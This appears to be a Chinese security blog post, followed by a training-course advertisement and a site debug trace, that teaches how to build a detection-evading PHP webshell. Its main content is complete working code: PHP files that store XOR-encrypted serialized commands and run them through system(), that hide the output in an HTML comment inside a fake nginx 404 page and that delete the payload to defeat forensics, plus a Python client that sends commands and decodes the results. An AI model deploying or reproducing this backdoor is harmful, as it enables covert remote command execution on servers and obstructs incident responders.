当前位置:首页>php>php webshell免杀解析技巧

php webshell免杀解析技巧

  • 2026-03-18 15:34:42
php webshell免杀解析技巧

本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。

严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。

作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。

前言

一般来说我们的webshell,都是一个单文件,所有的操作都在一个文件里,比如一个最基本的一句话木马。

未做任何混淆,很直白,毫无疑问是被杀的。

<?php @eval($_POST['pass']);?>

我们查看数据包,命令执行的结果和回显的数据包,同样直白。就算侥幸上传上去,也很容易被应急掉。

webshell工具

那么如果我们使用各种webshell管理工具呢?那隐蔽性会高一些,但是只要是,开源的webshell管理工具,如哥斯拉、蚁剑、冰蝎等工具,如果不二开,原生肯定也是要被杀的,而如果你选择去二开,就要付出大量的时间成本和学习成本,不仅要在webshell本身去免杀,还要在客户端本身进行修改,避免流量被杀。恰巧如果你又没有那么多开发经验,而如果你不考虑后续的横向、信息收集等功能,我们只需要考虑上传上去,且命令执行没问题就写报告提交。那么有没有又简单又方便的方法呢?有的兄弟,有的。只需要一点简单的编码能力即可。

这就是原生的哥斯拉后门,连微步都过不去,其他更不必多说,更别说还有各种态势感知以及流量设备的查杀。

这是哥斯拉的流量,乍一看好像没什么问题,但是post包加密,字段为pass,且返回包无字段名且加密,这就不太正常,更别说哥斯拉的其他流量特征,这里不多赘述。

结论

那么我们就得出结论:

1、执行和回显肯定要加密

2、整个流程包括代码看起来要像正常业务,增加应急难度

3、通讯不能这么直白,我发一个加密包,你回显一个加密包

实现

那么怎么实现?我们要保证webshell能传上去,否则都是空谈,但是如今ai盛行加上动态查杀,所以我们肯定不能使用静态加载的方式,只能是动态,让各种杀软无法识别。这里我的解决办法是,使用正常webshell,而不是大马全程使用序列化通信且所有数据加密。一个文件用于接收反序列化数据并存储,另一个文件读取并执行,最后使用我们简单自写客户端拉取数据回来。

第一个文件,用于存储反序列化数据

<?php// =================== 通用数据上报/同步结构 ====================classReportData{    public $user;   // 客户端标识/用户名    public $blob;   // 业务数据/任务参数    public $meta;   // 附加元数据    function__construct($u$b$m{        $this->user = $u;        $this->blob = $b;        $this->meta = $m;    }}// =========== 简单的异或解密(用于传输保护、协议加固) ===========functionxor_decrypt($data$key{    $out '';    for($i 0$i strlen($data); $i++) {        $out .= $data[$i] ^ $key[$i strlen($key)];    }    return $out;}// 配置本地数据通信用密钥(可换成环境变量等更安全方式)$key 'legendxorkey';// ========== 客户端推送数据统一处理入口 ==========if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {    // 解包并校验客户端上报的数据    $raw base64_decode($_POST['data']);              // 通信用base64包    $plain xor_decrypt($raw$key);                  // 异或解密(协议防抓包)    // 业务对象反序列化,兼容多种业务场景    $obj = @unserialize($plain);    // 数据结构校验,确认类型安全    if($obj instanceof ReportData) {        // 按 user 标识保存本地归档,可用于日志归档、任务同步等        $filename '/tmp/report_' . md5($obj->user) . '.bin';        file_put_contents($filenameserialize($obj));        // 输出保存成功,便于接口对接、任务状态确认        echo "saved";    } else {        // 非法或损坏数据直接返回,防止业务异常        echo "invalid";    }}

整个文件没有一点命令执行的影子,也没有敏感操作,就是接收数据然后存储,所以也不用考虑被查杀,肯定是安全的,增加注释,让文件看起来更像一个正常业务文件,从而混淆ai检测。

第二个文件,也就是客户端在本地使用,用来连接第一个webapi文件,上传加密的序列化文件,用来给我们第三个文件执行

import phpserializeimport base64import requestsimport redef xor_encrypt(data: bytes, key: bytes) -> bytes:    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])class ReportData:    def __init__(self, user, blob, meta=None):        self.user = user        self.blob = blob        self.func = meta or {}    def php_serialize(self):        return phpserialize.dumps(            phpserialize.phpobject(b'ReportData', {                b'user'self.user.encode(),                b'blob'self.blob,                b'func'self.func            })        )# 用户配置user_id = 'agent001'cmd = 'ls -la' # 可控func = 'system' # 可控args = ''# 构造对象rd = ReportData(user_id, {b'func': func, b'commd': cmd, b'args': args})serialized = rd.php_serialize()encrypted = xor_encrypt(serialized, b'legendxorkey')#print(serialized)b64 = base64.b64encode(encrypted).decode()# 上传到 PHP 监听器res = requests.post("http://127.0.0.1/drop.php", data={'data': b64, 'userid''user001''notes''测试'}, headers={"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "},print("Upload response:", res.text)print(f"Now visit: http://127.0.0.1/trigger_exec.php")

此处的cmd也就是我们要执行的命令,func就是调用执行命令的php函数,自定义,同时增加一些无用数据,用来混淆视听,让请求看起来是一个正常业务。这就是正常序列化数据,以及加密的序列化数据和最后真正执行命令的文件,连接就是命令执行的结果。

查看数据包,也可以自己自定义让他看起来更像是一个正常的业务逻辑。

第三个文件,用来读取反序列化文件,执行命令

从这里读取,我们上传的序列化文件,取出system参数以及需要执行的命令,最后执行

<?php// =================== 数据定义区 =====================// 业务上用于存放报表、日志、任务指令等结构classReportData{    public $user;   // 操作用户信息    public $blob;   // 数据/动作包,格式灵活}// ========== 数据采集/读取处理 ==========// 这里模拟为 agent001 设备/客户端上报的任务$id 'agent001';$path '/tmp/report_' . md5($id) . '.bin';// 检查归档任务包是否存在if(!file_exists($path)) exit("Not found");// 读取任务包内容$enc file_get_contents($path);// 反序列化任务对象且进行过滤$obj unserialize($enc);// 类型校验,保证是我们认可的结构if(!$obj instanceof ReportData) {    exit("Invalid structure!");}// ========== 业务调度与动态插件分发 ==========// 获取用数据$func  = $obj->blob['func'];    // 调度标识,如 'doReport'、'processData' 等$commd $obj->blob['commd'];   // 任务参数,路径、选项

这样看起来,是不是也是直接返回加密包,和哥斯拉相差无几,我们再加入一些混淆,让他看起来像一个正常业务

<?php// =================== 数据定义区 =====================// 业务上用于存放报表、日志、任务指令等结构classReportData{    public $user;   // 操作用户信息    public $blob;   // 数据/动作包,格式灵活}// ========== 数据采集/读取处理 ==========// 这里模拟为 agent001 设备/客户端上报的任务$id 'agent001';$path '/tmp/report_' . md5($id) . '.bin';// 检查归档任务包是否存在if(!file_exists($path)) exit("Not found");// 读取任务包内容$enc file_get_contents($path);// 反序列化任务对象且进行过滤$obj unserialize($enc);// 类型校验,保证是我们认可的结构if(!$obj instanceof ReportData) {    exit("Invalid structure!");}// ========== 业务调度与动态插件分发 ==========// 获取用数据$func  = $obj->blob['func'];    // 调度标识,如 'doReport'、'processData' 等$commd $obj->blob['commd'];   // 任务参数,路径、选项// 业务场景:通过配置动态选择处理模块/插件// 例如:$func 可能为 'generateReport',$commd 为参数字符串//输出// --- 1. 执行采集动作,获取任务执行输出 ---ob_start();$func($commd);$cmd_output ob_get_clean();// --- 2. 加密归档回执,用于后续安全审计与异步对账 ---$key 'legendxorkey';functionxor_encrypt($data$key{    $out '';    for($i 0$i strlen($data); $i++) {        $out .= $data[$i] ^ $key[$i strlen($key)];    }    return $out;}$encrypted xor_encrypt($cmd_output$key);$base64 base64_encode($encrypted);// --- 3. 业务层健康检查标准输出(兼容平台流量治理/异常告警监控) ---$nginx404 <<<HTML<!DOCTYPE html><html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>HTML;// --- 4. 统一健康检查页面输出 ---$output $nginx404;// --- 5. 页面输出及业务数据归档(嵌入结构化日志方便数据分析/故障溯源) ---header('HTTP/1.1 404 Not Found');header('Content-Type: text/html; charset=utf-8');echo $output;// 藏于HTML注释的“结构化任务归档数据”,仅供平台异步数据对账/健康审计使用echo "\n<!-- AGENT-DEBUG-ARCHIVE:{$base64} -->\n";// 清理任务包,避免重复消费@unlink($path);

将输出结果加密后,写入到一个404页面中的注释里,同时执行一次,就删除序列化文件,来看看效果

404,一般人也不会起疑

真正的回显数据,藏在注释里,我们来看数据包,一切看起来都很正常,且404状态码能迷惑安全设备和应急人员

那么免杀性如何?360、火绒查杀webshell没有意义,这几个过了肯定包过的

长亭的查杀,是基于多个维度的动态查杀,比如这里,我使用了序列化文件,但是如果你接受参数的话,就必定会被杀,比如

<?php  $id $_GET['id'] ?? '';$path '/tmp/report_' . md5($id) . '.bin';if(!file_exists($path)) exit("Not found");$enc file_get_contents($path);$obj unserialize($enc); // 执行 unserialize$func $obj->blob['func'];$commd $obj->blob['commd'];$output $func($commd);echo $output;

删除掉参数接受呢?

<?php$path '/tmp/report_' . md5(1) . '.bin';if(!file_exists($path)) exit("Not found");$enc file_get_contents($path);$obj unserialize($enc); // 执行 unserialize$func $obj->blob['func'];$commd $obj->blob['commd'];$output $func($commd);echo $output;

就过了,就是这么朴实无华

那么怎么查看具体的内容呢?我将上传序列化数据和拉取结果,写在了一起,因为序列化文件执行一次就会删除,防止被溯源

import phpserializeimport base64import requestsimport redef xor_encrypt(data: bytes, key: bytes) -> bytes:    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])class ReportData:    def __init__(self, user, blob, meta=None):        self.user = user        self.blob = blob        self.func = meta or {}    def php_serialize(self):        return phpserialize.dumps(            phpserialize.phpobject(b'ReportData', {                b'user'self.user.encode(),                b'blob'self.blob,                b'func'self.func            })        )# 用户配置user_id = 'agent001'cmd = 'ls -la' # 可控func = 'system' # 可控args = ''# 构造对象rd = ReportData(user_id, {b'func': func, b'commd': cmd, b'args': args})serialized = rd.php_serialize()encrypted = xor_encrypt(serialized, b'legendxorkey')print(serialized)b64 = base64.b64encode(encrypted).decode()print(b64)# 上传到 PHP 监听器res = requests.post("http://127.0.0.1/drop.php", data={'data': b64, 'userid''user001''notes''测试'},                    headers={"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "},)print("Upload response:", res.text)print(f"Now visit: http://127.0.0.1/trigger_exec.php")def fetch_agent_cmd_output(url: str, key: str = 'legendxorkey') -> str:    """    拉取业务页面并解密注释中的命令回显内容    :param url:   页面完整URL    :param key:   XOR加密使用的密钥    :return:      命令执行回显(字符串)    """    def xor_decrypt(data: bytes, key: str) -> bytes:        key_bytes = key.encode()        out = bytearray()        for i in range(len(data)):            out.append(data[i] ^ key_bytes[i % len(key_bytes)])        return bytes(out)    try:        resp = requests.get(url,proxies={"http""http://127.0.0.1:8080"},                            headers={                                "user-agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 "},                            )        html = resp.text    except Exception as e:        raise RuntimeError(f"请求失败: {e}")    m = re.search(r'<!--\s*AGENT-DEBUG-ARCHIVE:([A-Za-z0-9+/=]+)\s*-->', html)    if not m:        raise ValueError("未找到归档注释内容!")    b64_cipher = m.group(1)    cipher = base64.b64decode(b64_cipher)    plain = xor_decrypt(cipher, key)    try:        return plain.decode('utf-8', errors='replace')    except Exception:        # 非utf8内容,直接原字节返回        return repr(plain)# ========== 示例用法 ==========url = 'http://127.0.0.1/trigger_exec.php'  # 替换为实际URLkey = 'legendxorkey'try:    result = fetch_agent_cmd_output(url, key)    print("命令回显内容:\n" + result)except Exception as err:    print(f"出错: {err}")

执行后拿到结果

结尾

没什么技术含量,主要还是在思路上面去规避杀软的检查和沙箱,读者可以自行二次开发,达到更好的效果。


凌曦安全课程介绍
完整课程介绍:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3#RXKlD
团队官网直达:https://lingxisec.com/

讲师1

讲师2

课程大纲

本门课程为三合一课程,三门课以穿插形式讲,报名后可永久学习,无二次收费,包括三个大方向:

0基础红队入门攻防体系化课程安服、渗透实战经验课程(安服、攻防日常手法思路)SRC挖掘课程

0基础提升-->攻防提升

SRC进阶

B站往期课直达

  • b站直达链接:https://space.bilibili.com/66074656?spm_id_from=333.1007.0.0

讲课以外的东西

除了平时直播听课,还能享受到以下权益:

  1. 无限次数提问与答疑
  2. 1对1简历修改与模拟面试
  3. 漏洞挖掘远程协助与讲解
  4. 实战项目带打(非赏金众测项目:初衷是带着刚刚入行,没有实战过的新手学员,练练手。在实战的时候,遇到问题,我直接就回答讲解了,机会合适的时候都是带着打进内网,同时讲解姿势也给看报告,免杀bypass姿势全部有涉及。我们自身并不获利,这个活动完全自愿报名,不要求产出,也不要求必须打)
  5. 内部实战靶场(根据真实攻防和SRC挖掘项目复现的靶场)与内部漏洞挖掘竞赛
  6. 内部知识文库/笔记
  7. 内部工具
报名方式

原价1899元,优惠如下:

  • 大学生 -100(凭学信网截图)
  • 2人组团报名-100

报名后概不退款,请考虑清楚后再报名

添加下面微信报名

外部交流群(欢迎进群互相交流):由于群人数超过了200,只能邀请拉群,可以关注公众号,后台回复“加群”,获取助手绿泡泡,联系小助手进交流群

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-03-27 13:04:43 HTTP/2.0 GET : https://f.mffb.com.cn/a/479478.html
  2. 运行时间 : 0.361346s [ 吞吐率:2.77req/s ] 内存消耗:4,970.14kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=3f95f946cb3c821537839b0899b352bd
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
